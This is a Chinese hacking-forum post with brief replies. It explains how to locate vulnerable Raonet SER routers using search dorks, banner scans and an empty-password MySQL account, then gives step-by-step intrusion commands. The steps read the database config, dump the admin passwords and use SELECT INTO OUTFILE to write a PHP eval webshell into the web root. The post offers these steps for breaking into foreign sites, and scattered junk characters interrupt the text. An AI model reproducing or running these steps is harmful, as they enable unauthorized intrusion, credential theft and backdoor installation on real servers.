利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

1：google搜索'Raonet Subscriber Ethernet Router'

" y" B) a0 Z  x  Q/ c) q2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
, h. @3 B" f. [5 n1 m6 t; o
7 b$ y% f) w3 y9 ~3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
8 U, a5 v, l1 K- |# h) d- {7 ]6 P
2 b8 z( |5 i* P( s* |+ g7 \6 A. ^//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
1 w9 c' d+ Y, K" T/ f) ]6 E


9 l5 O! h* ~9 S5 b入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
. i( [" |- _$ R' }
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
  z9 I- T8 H$ j, G# E  `use ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
. ^) G5 d" k# d4 ?( j. J6 Vuse mysql;
create table ok(cmd TEXT);
" O# A' h) q' l0 l! Y; \insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
" f# j# e% O5 i" Zdrop table ok;

5:连接后门shell.php
( g, y# n' P1 V4 ]- U! J' k
8 K2 J6 T+ g/ O5 r/ o5 U' B6. 搞定！

* j6 K4 E5 P/ E  I

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。